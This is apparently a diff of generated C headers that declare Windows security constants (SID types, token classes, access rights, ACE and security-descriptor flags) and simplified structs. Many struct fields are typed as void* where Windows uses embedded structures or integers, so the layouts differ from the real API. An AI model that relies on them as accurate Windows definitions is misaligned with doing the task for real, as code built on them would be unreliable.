#define WinBuiltinCertSvcDComAccessGroup 78
|
||||
#define WinMediumPlusLabelSid 79
|
||||
#define WinLocalLogonSid 80
|
||||
#define WinConsoleLogonSid 81
|
||||
#define WinThisOrganizationCertificateSid 82
|
||||
#define WinApplicationPackageAuthoritySid 83
|
||||
#define WinBuiltinAnyPackageSid 84
|
||||
#define WinCapabilityInternetClientSid 85
|
||||
#define WinCapabilityInternetClientServerSid 86
|
||||
#define WinCapabilityPrivateNetworkClientServerSid 87
|
||||
#define WinCapabilityPicturesLibrarySid 88
|
||||
#define WinCapabilityVideosLibrarySid 89
|
||||
#define WinCapabilityMusicLibrarySid 90
|
||||
#define WinCapabilityDocumentsLibrarySid 91
|
||||
#define WinCapabilitySharedUserCertificatesSid 92
|
||||
#define WinCapabilityEnterpriseAuthenticationSid 93
|
||||
#define WinCapabilityRemovableStorageSid 94
|
||||
#define WinBuiltinRDSRemoteAccessServersSid 95
|
||||
#define WinBuiltinRDSEndpointServersSid 96
|
||||
#define WinBuiltinRDSManagementServersSid 97
|
||||
#define WinUserModeDriversSid 98
|
||||
#define WinBuiltinHyperVAdminsSid 99
|
||||
#define WinAccountCloneableControllersSid 100
|
||||
#define WinBuiltinAccessControlAssistanceOperatorsSid 101
|
||||
#define WinBuiltinRemoteManagementUsersSid 102
|
||||
#define WinAuthenticationAuthorityAssertedSid 103
|
||||
#define WinAuthenticationServiceAssertedSid 104
|
||||
#define WinLocalAccountSid 105
|
||||
#define WinLocalAccountAndAdministratorSid 106
|
||||
#define WinAccountProtectedUsersSid 107
|
||||
#define WinCapabilityAppointmentsSid 108
|
||||
#define WinCapabilityContactsSid 109
|
||||
#define WinAccountDefaultSystemManagedSid 110
|
||||
#define WinBuiltinDefaultSystemManagedGroupSid 111
|
||||
#define WinBuiltinStorageReplicaAdminsSid 112
|
||||
#define WinAccountKeyAdminsSid 113
|
||||
#define WinAccountEnterpriseKeyAdminsSid 114
|
||||
#define WinAuthenticationKeyTrustSid 115
|
||||
#define WinAuthenticationKeyPropertyMFASid 116
|
||||
#define WinAuthenticationKeyPropertyAttestationSid 117
|
||||
#define WinAuthenticationFreshKeyAuthSid 118
|
||||
#define WinBuiltinDeviceOwnersSid 119
|
||||
#define WinBuiltinUserModeHardwareOperatorsSid 120
|
||||
#define WinBuiltinOpenSSHUsersSid 121
|
||||
#define TokenElevationTypeDefault 1
|
||||
#define TokenElevationTypeFull 2
|
||||
#define TokenElevationTypeLimited 3
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x4
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x8
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_DISABLED 0x10
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_MANDATORY 0x20
|
||||
#define DISABLE_MAX_PRIVILEGE 0x1
|
||||
#define SANDBOX_INERT 0x2
|
||||
#define LUA_TOKEN 0x4
|
||||
#define WRITE_RESTRICTED 0x8
|
||||
#define LOGON32_PROVIDER_DEFAULT 0x0
|
||||
#define LOGON32_PROVIDER_WINNT50 0x3
|
||||
#define LOGON32_PROVIDER_WINNT40 0x2
|
||||
#define SecurityAnonymous 0
|
||||
#define SecurityIdentification 1
|
||||
#define SecurityImpersonation 2
|
||||
#define SecurityDelegation 3
|
||||
#define AuditEventObjectAccess 0
|
||||
#define AuditEventDirectoryServiceAccess 1
|
||||
#define SidTypeUser 1
|
||||
#define SidTypeGroup 2
|
||||
#define SidTypeDomain 3
|
||||
#define SidTypeAlias 4
|
||||
#define SidTypeWellKnownGroup 5
|
||||
#define SidTypeDeletedAccount 6
|
||||
#define SidTypeInvalid 7
|
||||
#define SidTypeUnknown 8
|
||||
#define SidTypeComputer 9
|
||||
#define SidTypeLabel 10
|
||||
#define SidTypeLogonSession 11
|
||||
#define SE_PRIVILEGE_ENABLED 0x2
|
||||
#define SE_PRIVILEGE_ENABLED_BY_DEFAULT 0x1
|
||||
#define SE_PRIVILEGE_REMOVED 0x4
|
||||
#define SE_PRIVILEGE_USED_FOR_ACCESS 0x80000000
|
||||
#define ACL_REVISION 0x2
|
||||
#define ACL_REVISION_DS 0x4
|
||||
#define TokenPrimary 1
|
||||
#define TokenImpersonation 2
|
||||
#define TokenUser 1
|
||||
#define TokenGroups 2
|
||||
#define TokenPrivileges 3
|
||||
#define TokenOwner 4
|
||||
#define TokenPrimaryGroup 5
|
||||
#define TokenDefaultDacl 6
|
||||
#define TokenSource 7
|
||||
#define TokenType 8
|
||||
#define TokenImpersonationLevel 9
|
||||
#define TokenStatistics 10
|
||||
#define TokenRestrictedSids 11
|
||||
#define TokenSessionId 12
|
||||
#define TokenGroupsAndPrivileges 13
|
||||
#define TokenSessionReference 14
|
||||
#define TokenSandBoxInert 15
|
||||
#define TokenAuditPolicy 16
|
||||
#define TokenOrigin 17
|
||||
#define TokenElevationType 18
|
||||
#define TokenLinkedToken 19
|
||||
#define TokenElevation 20
|
||||
#define TokenHasRestrictions 21
|
||||
#define TokenAccessInformation 22
|
||||
#define TokenVirtualizationAllowed 23
|
||||
#define TokenVirtualizationEnabled 24
|
||||
#define TokenIntegrityLevel 25
|
||||
#define TokenUIAccess 26
|
||||
#define TokenMandatoryPolicy 27
|
||||
#define TokenLogonSid 28
|
||||
#define TokenIsAppContainer 29
|
||||
#define TokenCapabilities 30
|
||||
#define TokenAppContainerSid 31
|
||||
#define TokenAppContainerNumber 32
|
||||
#define TokenUserClaimAttributes 33
|
||||
#define TokenDeviceClaimAttributes 34
|
||||
#define TokenRestrictedUserClaimAttributes 35
|
||||
#define TokenRestrictedDeviceClaimAttributes 36
|
||||
#define TokenDeviceGroups 37
|
||||
#define TokenRestrictedDeviceGroups 38
|
||||
#define TokenSecurityAttributes 39
|
||||
#define TokenIsRestricted 40
|
||||
#define TokenProcessTrustLevel 41
|
||||
#define TokenPrivateNameSpace 42
|
||||
#define TokenSingletonAttributes 43
|
||||
#define TokenBnoIsolation 44
|
||||
#define TokenChildProcessFlags 45
|
||||
#define TokenIsLessPrivilegedAppContainer 46
|
||||
#define TokenIsSandboxed 47
|
||||
#define TokenIsAppSilo 48
|
||||
#define TokenLoggingInformation 49
|
||||
#define TokenLearningMode 50
|
||||
#define MaxTokenInfoClass 51
|
||||
#define CONTAINER_INHERIT_ACE 0x2
|
||||
#define FAILED_ACCESS_ACE_FLAG 0x80
|
||||
#define INHERIT_ONLY_ACE 0x8
|
||||
#define INHERITED_ACE 0x10
|
||||
#define NO_PROPAGATE_INHERIT_ACE 0x4
|
||||
#define OBJECT_INHERIT_ACE 0x1
|
||||
#define SUCCESSFUL_ACCESS_ACE_FLAG 0x40
|
||||
#define SUB_CONTAINERS_AND_OBJECTS_INHERIT 0x3
|
||||
#define SUB_CONTAINERS_ONLY_INHERIT 0x2
|
||||
#define SUB_OBJECTS_ONLY_INHERIT 0x1
|
||||
#define INHERIT_NO_PROPAGATE 0x4
|
||||
#define INHERIT_ONLY 0x8
|
||||
#define NO_INHERITANCE 0x0
|
||||
#define ATTRIBUTE_SECURITY_INFORMATION 0x20
|
||||
#define BACKUP_SECURITY_INFORMATION 0x10000
|
||||
#define DACL_SECURITY_INFORMATION 0x4
|
||||
#define GROUP_SECURITY_INFORMATION 0x2
|
||||
#define LABEL_SECURITY_INFORMATION 0x10
|
||||
#define OWNER_SECURITY_INFORMATION 0x1
|
||||
#define PROTECTED_DACL_SECURITY_INFORMATION 0x80000000
|
||||
#define PROTECTED_SACL_SECURITY_INFORMATION 0x40000000
|
||||
#define SACL_SECURITY_INFORMATION 0x8
|
||||
#define SCOPE_SECURITY_INFORMATION 0x40
|
||||
#define UNPROTECTED_DACL_SECURITY_INFORMATION 0x20000000
|
||||
#define UNPROTECTED_SACL_SECURITY_INFORMATION 0x10000000
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_INT64 0x1
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_STRING 0x3
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_SID 0x5
|
||||
#define CLAIM_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6
|
||||
#define LOGON32_LOGON_BATCH 0x4
|
||||
#define LOGON32_LOGON_INTERACTIVE 0x2
|
||||
#define LOGON32_LOGON_NETWORK 0x3
|
||||
#define LOGON32_LOGON_NETWORK_CLEARTEXT 0x8
|
||||
#define LOGON32_LOGON_NEW_CREDENTIALS 0x9
|
||||
#define LOGON32_LOGON_SERVICE 0x5
|
||||
#define LOGON32_LOGON_UNLOCK 0x7
|
||||
#define MandatoryLevelUntrusted 0
|
||||
#define MandatoryLevelLow 1
|
||||
#define MandatoryLevelMedium 2
|
||||
#define MandatoryLevelHigh 3
|
||||
#define MandatoryLevelSystem 4
|
||||
#define MandatoryLevelSecureProcess 5
|
||||
#define MandatoryLevelCount 6
|
||||
#define AclRevisionInformation 1
|
||||
#define AclSizeInformation 2
|
||||
#define TOKEN_DELETE 0x10000
|
||||
#define TOKEN_READ_CONTROL 0x20000
|
||||
#define TOKEN_WRITE_DAC 0x40000
|
||||
#define TOKEN_WRITE_OWNER 0x80000
|
||||
#define TOKEN_ACCESS_SYSTEM_SECURITY 0x1000000
|
||||
#define TOKEN_ASSIGN_PRIMARY 0x1
|
||||
#define TOKEN_DUPLICATE 0x2
|
||||
#define TOKEN_IMPERSONATE 0x4
|
||||
#define TOKEN_QUERY 0x8
|
||||
#define TOKEN_QUERY_SOURCE 0x10
|
||||
#define TOKEN_ADJUST_PRIVILEGES 0x20
|
||||
#define TOKEN_ADJUST_GROUPS 0x40
|
||||
#define TOKEN_ADJUST_DEFAULT 0x80
|
||||
#define TOKEN_ADJUST_SESSIONID 0x100
|
||||
#define TOKEN_READ 0x20008
|
||||
#define TOKEN_WRITE 0x200e0
|
||||
#define TOKEN_EXECUTE 0x20000
|
||||
#define TOKEN_TRUST_CONSTRAINT_MASK 0x20018
|
||||
#define TOKEN_ACCESS_PSEUDO_HANDLE_WIN8 0x18
|
||||
#define TOKEN_ACCESS_PSEUDO_HANDLE 0x18
|
||||
#define TOKEN_ALL_ACCESS 0xf01ff
|
||||
#define SE_OWNER_DEFAULTED 0x1
|
||||
#define SE_GROUP_DEFAULTED 0x2
|
||||
#define SE_DACL_PRESENT 0x4
|
||||
#define SE_DACL_DEFAULTED 0x8
|
||||
#define SE_SACL_PRESENT 0x10
|
||||
#define SE_SACL_DEFAULTED 0x20
|
||||
#define SE_DACL_AUTO_INHERIT_REQ 0x100
|
||||
#define SE_SACL_AUTO_INHERIT_REQ 0x200
|
||||
#define SE_DACL_AUTO_INHERITED 0x400
|
||||
#define SE_SACL_AUTO_INHERITED 0x800
|
||||
#define SE_DACL_PROTECTED 0x1000
|
||||
#define SE_SACL_PROTECTED 0x2000
|
||||
#define SE_RM_CONTROL_VALID 0x4000
|
||||
#define SE_SELF_RELATIVE 0x8000
|
||||
|
||||
typedef struct _NCRYPT_STREAM_HANDLE {
|
||||
void* Value;
|
||||
} NCRYPT_STREAM_HANDLE;
|
||||
|
||||
typedef struct _CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE {
|
||||
unsigned long long Version;
|
||||
void* Name;
|
||||
} CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE;
|
||||
|
||||
typedef struct _ACCESS_DENIED_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_DENIED_OBJECT_ACE;
|
||||
|
||||
typedef struct _PSECURITY_DESCRIPTOR {
|
||||
void* Value;
|
||||
} PSECURITY_DESCRIPTOR;
|
||||
|
||||
typedef struct _ACL {
|
||||
unsigned char AclRevision;
|
||||
unsigned char Sbz1;
|
||||
unsigned short AclSize;
|
||||
unsigned short AceCount;
|
||||
unsigned short Sbz2;
|
||||
} ACL;
|
||||
|
||||
typedef struct _SYSTEM_AUDIT_CALLBACK_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_AUDIT_CALLBACK_ACE;
|
||||
|
||||
typedef struct _TOKEN_USER_CLAIMS {
|
||||
void* UserClaims;
|
||||
} TOKEN_USER_CLAIMS;
|
||||
|
||||
typedef struct _SYSTEM_ALARM_CALLBACK_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_ALARM_CALLBACK_OBJECT_ACE;
|
||||
|
||||
typedef struct _SYSTEM_ALARM_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_ALARM_ACE;
|
||||
|
||||
typedef struct _ACCESS_ALLOWED_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_ALLOWED_OBJECT_ACE;
|
||||
|
||||
typedef struct _TOKEN_MANDATORY_LABEL {
|
||||
void* Label;
|
||||
} TOKEN_MANDATORY_LABEL;
|
||||
|
||||
typedef struct _LUID_AND_ATTRIBUTES {
|
||||
void* Luid;
|
||||
void* Attributes;
|
||||
} LUID_AND_ATTRIBUTES;
|
||||
|
||||
typedef struct _CLAIM_SECURITY_ATTRIBUTES_INFORMATION {
|
||||
unsigned short Version;
|
||||
unsigned short Reserved;
|
||||
unsigned int AttributeCount;
|
||||
void* Attribute;
|
||||
} CLAIM_SECURITY_ATTRIBUTES_INFORMATION;
|
||||
|
||||
typedef struct _ACL_SIZE_INFORMATION {
|
||||
unsigned int AceCount;
|
||||
unsigned int AclBytesInUse;
|
||||
unsigned int AclBytesFree;
|
||||
} ACL_SIZE_INFORMATION;
|
||||
|
||||
typedef struct _TOKEN_GROUPS {
|
||||
unsigned int GroupCount;
|
||||
void* Groups[1];
|
||||
} TOKEN_GROUPS;
|
||||
|
||||
typedef struct _LLFILETIME {
|
||||
void* Anonymous;
|
||||
} LLFILETIME;
|
||||
|
||||
typedef struct _SID_AND_ATTRIBUTES {
|
||||
void* Sid;
|
||||
unsigned int Attributes;
|
||||
} SID_AND_ATTRIBUTES;
|
||||
|
||||
typedef struct _TOKEN_SOURCE {
|
||||
unsigned char SourceName[8];
|
||||
void* SourceIdentifier;
|
||||
} TOKEN_SOURCE;
|
||||
|
||||
typedef struct _SE_ACCESS_REPLY {
|
||||
unsigned int Size;
|
||||
unsigned int ResultListCount;
|
||||
void* GrantedAccess;
|
||||
void* AccessStatus;
|
||||
void* AccessReason;
|
||||
void* Privileges;
|
||||
} SE_ACCESS_REPLY;
|
||||
|
||||
typedef struct _ACCESS_DENIED_CALLBACK_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_DENIED_CALLBACK_ACE;
|
||||
|
||||
typedef struct _SE_IMPERSONATION_STATE {
|
||||
void* Token;
|
||||
BOOL CopyOnOpen;
|
||||
BOOL EffectiveOnly;
|
||||
void* Level;
|
||||
} SE_IMPERSONATION_STATE;
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
unsigned int nLength;
|
||||
void* lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES;
|
||||
|
||||
typedef struct _ACL_REVISION_INFORMATION {
|
||||
unsigned int AclRevision;
|
||||
} ACL_REVISION_INFORMATION;
|
||||
|
||||
typedef struct _SID_AND_ATTRIBUTES_HASH {
|
||||
unsigned int SidCount;
|
||||
void* SidAttr;
|
||||
unsigned long long Hash[32];
|
||||
} SID_AND_ATTRIBUTES_HASH;
|
||||
|
||||
typedef struct _TOKEN_OWNER {
|
||||
void* Owner;
|
||||
} TOKEN_OWNER;
|
||||
|
||||
typedef struct _TOKEN_ELEVATION {
|
||||
unsigned int TokenIsElevated;
|
||||
} TOKEN_ELEVATION;
|
||||
|
||||
typedef struct _SE_SID {
|
||||
void* Sid;
|
||||
unsigned char Buffer[68];
|
||||
} SE_SID;
|
||||
|
||||
typedef struct _ACCESS_DENIED_CALLBACK_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_DENIED_CALLBACK_OBJECT_ACE;
|
||||
|
||||
typedef struct _ACE_HEADER {
|
||||
unsigned char AceType;
|
||||
unsigned char AceFlags;
|
||||
unsigned short AceSize;
|
||||
} ACE_HEADER;
|
||||
|
||||
typedef struct _PSID {
|
||||
void* Value;
|
||||
} PSID;
|
||||
|
||||
typedef struct _SYSTEM_ALARM_CALLBACK_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_ALARM_CALLBACK_ACE;
|
||||
|
||||
typedef struct _SECURITY_DESCRIPTOR_RELATIVE {
|
||||
unsigned char Revision;
|
||||
unsigned char Sbz1;
|
||||
void* Control;
|
||||
unsigned int Owner;
|
||||
unsigned int Group;
|
||||
unsigned int Sacl;
|
||||
unsigned int Dacl;
|
||||
} SECURITY_DESCRIPTOR_RELATIVE;
|
||||
|
||||
typedef struct _SAFER_LEVEL_HANDLE {
|
||||
void* Value;
|
||||
} SAFER_LEVEL_HANDLE;
|
||||
|
||||
typedef struct _ACCESS_ALLOWED_CALLBACK_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_ALLOWED_CALLBACK_OBJECT_ACE;
|
||||
|
||||
typedef struct _TOKEN_PRIVILEGES {
|
||||
unsigned int PrivilegeCount;
|
||||
void* Privileges[1];
|
||||
} TOKEN_PRIVILEGES;
|
||||
|
||||
typedef struct _TOKEN_GROUPS_AND_PRIVILEGES {
|
||||
unsigned int SidCount;
|
||||
unsigned int SidLength;
|
||||
void* Sids;
|
||||
unsigned int RestrictedSidCount;
|
||||
unsigned int RestrictedSidLength;
|
||||
void* RestrictedSids;
|
||||
unsigned int PrivilegeCount;
|
||||
unsigned int PrivilegeLength;
|
||||
void* Privileges;
|
||||
void* AuthenticationId;
|
||||
} TOKEN_GROUPS_AND_PRIVILEGES;
|
||||
|
||||
typedef struct _TOKEN_AUDIT_POLICY {
|
||||
unsigned char PerUserPolicy[31];
|
||||
} TOKEN_AUDIT_POLICY;
|
||||
|
||||
typedef struct _TOKEN_ORIGIN {
|
||||
void* OriginatingLogonSession;
|
||||
} TOKEN_ORIGIN;
|
||||
|
||||
typedef struct _QUOTA_LIMITS {
|
||||
unsigned long long PagedPoolLimit;
|
||||
unsigned long long NonPagedPoolLimit;
|
||||
unsigned long long MinimumWorkingSetSize;
|
||||
unsigned long long MaximumWorkingSetSize;
|
||||
unsigned long long PagefileLimit;
|
||||
long long TimeLimit;
|
||||
} QUOTA_LIMITS;
|
||||
|
||||
typedef struct _CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE {
|
||||
void* pValue;
|
||||
unsigned int ValueLength;
|
||||
} CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;
|
||||
|
||||
typedef struct _CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1 {
|
||||
unsigned int Name;
|
||||
void* ValueType;
|
||||
unsigned short Reserved;
|
||||
void* Flags;
|
||||
unsigned int ValueCount;
|
||||
void* Values;
|
||||
} CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1;
|
||||
|
||||
typedef struct _NCRYPT_DESCRIPTOR_HANDLE {
|
||||
void* Value;
|
||||
} NCRYPT_DESCRIPTOR_HANDLE;
|
||||
|
||||
typedef struct _ACCESS_ALLOWED_CALLBACK_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_ALLOWED_CALLBACK_ACE;
|
||||
|
||||
typedef struct _SE_SECURITY_DESCRIPTOR {
|
||||
unsigned int Size;
|
||||
unsigned int Flags;
|
||||
void* SecurityDescriptor;
|
||||
} SE_SECURITY_DESCRIPTOR;
|
||||
|
||||
typedef struct _PRIVILEGE_SET {
|
||||
unsigned int PrivilegeCount;
|
||||
unsigned int Control;
|
||||
void* Privilege[1];
|
||||
} PRIVILEGE_SET;
|
||||
|
||||
typedef struct _TOKEN_USER {
|
||||
void* User;
|
||||
} TOKEN_USER;
|
||||
|
||||
typedef struct _TOKEN_DEVICE_CLAIMS {
|
||||
void* DeviceClaims;
|
||||
} TOKEN_DEVICE_CLAIMS;
|
||||
|
||||
typedef struct _OBJECT_TYPE_LIST {
|
||||
unsigned short Level;
|
||||
unsigned short Sbz;
|
||||
void* ObjectType;
|
||||
} OBJECT_TYPE_LIST;
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_TRUST_LABEL_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_PROCESS_TRUST_LABEL_ACE;
|
||||
|
||||
typedef struct _SE_ACCESS_REQUEST {
|
||||
unsigned int Size;
|
||||
void* SeSecurityDescriptor;
|
||||
unsigned int DesiredAccess;
|
||||
unsigned int PreviouslyGrantedAccess;
|
||||
void* PrincipalSelfSid;
|
||||
void* GenericMapping;
|
||||
unsigned int ObjectTypeListCount;
|
||||
void* ObjectTypeList;
|
||||
} SE_ACCESS_REQUEST;
|
||||
|
||||
typedef struct _SYSTEM_ALARM_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_ALARM_OBJECT_ACE;
|
||||
|
||||
typedef struct _SYSTEM_AUDIT_CALLBACK_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_AUDIT_CALLBACK_OBJECT_ACE;
|
||||
|
||||
typedef struct _TOKEN_DEFAULT_DACL {
|
||||
void* DefaultDacl;
|
||||
} TOKEN_DEFAULT_DACL;
|
||||
|
||||
typedef struct _SYSTEM_MANDATORY_LABEL_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_MANDATORY_LABEL_ACE;
|
||||
|
||||
typedef struct _SYSTEM_AUDIT_OBJECT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
void* Flags;
|
||||
void* ObjectType;
|
||||
void* InheritedObjectType;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_AUDIT_OBJECT_ACE;
|
||||
|
||||
typedef struct _TOKEN_ACCESS_INFORMATION {
|
||||
void* SidHash;
|
||||
void* RestrictedSidHash;
|
||||
void* Privileges;
|
||||
void* AuthenticationId;
|
||||
void* TokenType;
|
||||
void* ImpersonationLevel;
|
||||
void* MandatoryPolicy;
|
||||
unsigned int Flags;
|
||||
unsigned int AppContainerNumber;
|
||||
void* PackageSid;
|
||||
void* CapabilitiesHash;
|
||||
void* TrustLevelSid;
|
||||
void* SecurityAttributes;
|
||||
} TOKEN_ACCESS_INFORMATION;
|
||||
|
||||
typedef struct _TOKEN_STATISTICS {
|
||||
void* TokenId;
|
||||
void* AuthenticationId;
|
||||
long long ExpirationTime;
|
||||
void* TokenType;
|
||||
void* ImpersonationLevel;
|
||||
unsigned int DynamicCharged;
|
||||
unsigned int DynamicAvailable;
|
||||
unsigned int GroupCount;
|
||||
unsigned int PrivilegeCount;
|
||||
void* ModifiedId;
|
||||
} TOKEN_STATISTICS;
|
||||
|
||||
typedef struct _TOKEN_MANDATORY_POLICY {
|
||||
void* Policy;
|
||||
} TOKEN_MANDATORY_POLICY;
|
||||
|
||||
typedef struct _SID_IDENTIFIER_AUTHORITY {
|
||||
unsigned char Value[6];
|
||||
} SID_IDENTIFIER_AUTHORITY;
|
||||
|
||||
typedef struct _SECURITY_DESCRIPTOR {
|
||||
unsigned char Revision;
|
||||
unsigned char Sbz1;
|
||||
void* Control;
|
||||
void* Owner;
|
||||
void* Group;
|
||||
void* Sacl;
|
||||
void* Dacl;
|
||||
} SECURITY_DESCRIPTOR;
|
||||
|
||||
typedef struct _ACCESS_REASONS {
|
||||
unsigned int Data[32];
|
||||
} ACCESS_REASONS;
|
||||
|
||||
typedef struct _SECURITY_CAPABILITIES {
|
||||
void* AppContainerSid;
|
||||
void* Capabilities;
|
||||
unsigned int CapabilityCount;
|
||||
unsigned int Reserved;
|
||||
} SECURITY_CAPABILITIES;
|
||||
|
||||
typedef struct _ACCESS_ALLOWED_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_ALLOWED_ACE;
|
||||
|
||||
typedef struct _SYSTEM_AUDIT_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_AUDIT_ACE;
|
||||
|
||||
typedef struct _CLAIM_SECURITY_ATTRIBUTE_V1 {
|
||||
void* Name;
|
||||
void* ValueType;
|
||||
unsigned short Reserved;
|
||||
unsigned int Flags;
|
||||
unsigned int ValueCount;
|
||||
void* Values;
|
||||
} CLAIM_SECURITY_ATTRIBUTE_V1;
|
||||
|
||||
typedef struct _SID {
|
||||
unsigned char Revision;
|
||||
unsigned char SubAuthorityCount;
|
||||
void* IdentifierAuthority;
|
||||
unsigned int SubAuthority[1];
|
||||
} SID;
|
||||
|
||||
typedef struct _GENERIC_MAPPING {
|
||||
unsigned int GenericRead;
|
||||
unsigned int GenericWrite;
|
||||
unsigned int GenericExecute;
|
||||
unsigned int GenericAll;
|
||||
} GENERIC_MAPPING;
|
||||
|
||||
typedef struct _ACCESS_DENIED_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} ACCESS_DENIED_ACE;
|
||||
|
||||
typedef struct _TOKEN_PRIMARY_GROUP {
|
||||
void* PrimaryGroup;
|
||||
} TOKEN_PRIMARY_GROUP;
|
||||
|
||||
typedef struct _TOKEN_CONTROL {
|
||||
void* TokenId;
|
||||
void* AuthenticationId;
|
||||
void* ModifiedId;
|
||||
void* TokenSource;
|
||||
} TOKEN_CONTROL;
|
||||
|
||||
typedef struct _SYSTEM_SCOPED_POLICY_ID_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_SCOPED_POLICY_ID_ACE;
|
||||
|
||||
typedef struct _SYSTEM_ACCESS_FILTER_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_ACCESS_FILTER_ACE;
|
||||
|
||||
typedef struct _TOKEN_APPCONTAINER_INFORMATION {
|
||||
void* TokenAppContainer;
|
||||
} TOKEN_APPCONTAINER_INFORMATION;
|
||||
|
||||
typedef struct _SECURITY_QUALITY_OF_SERVICE {
|
||||
unsigned int Length;
|
||||
void* ImpersonationLevel;
|
||||
unsigned char ContextTrackingMode;
|
||||
BOOL EffectiveOnly;
|
||||
} SECURITY_QUALITY_OF_SERVICE;
|
||||
|
||||
typedef struct _TOKEN_LINKED_TOKEN {
|
||||
void* LinkedToken;
|
||||
} TOKEN_LINKED_TOKEN;
|
||||
|
||||
typedef struct _SYSTEM_RESOURCE_ATTRIBUTE_ACE {
|
||||
void* Header;
|
||||
unsigned int Mask;
|
||||
unsigned int SidStart;
|
||||
} SYSTEM_RESOURCE_ATTRIBUTE_ACE;
|
||||
|
||||
@@ -0,0 +1,676 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.SystemInformation`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define NTDDI_WIN2K 0x5000000
|
||||
#define NTDDI_WINXP 0x5010000
|
||||
#define NTDDI_WINXPSP2 0x5010200
|
||||
#define NTDDI_WS03SP1 0x5020100
|
||||
#define NTDDI_VISTA 0x6000000
|
||||
#define NTDDI_VISTASP1 0x6000100
|
||||
#define NTDDI_WIN7 0x6010000
|
||||
#define NTDDI_WIN8 0x6020000
|
||||
#define NTDDI_WINBLUE 0x6030000
|
||||
#define NTDDI_WINTHRESHOLD 0xa000000
|
||||
#define SYSTEM_CPU_SET_INFORMATION_PARKED 0x1
|
||||
#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED 0x2
|
||||
#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED_TO_TARGET_PROCESS 0x4
|
||||
#define SYSTEM_CPU_SET_INFORMATION_REALTIME 0x8
|
||||
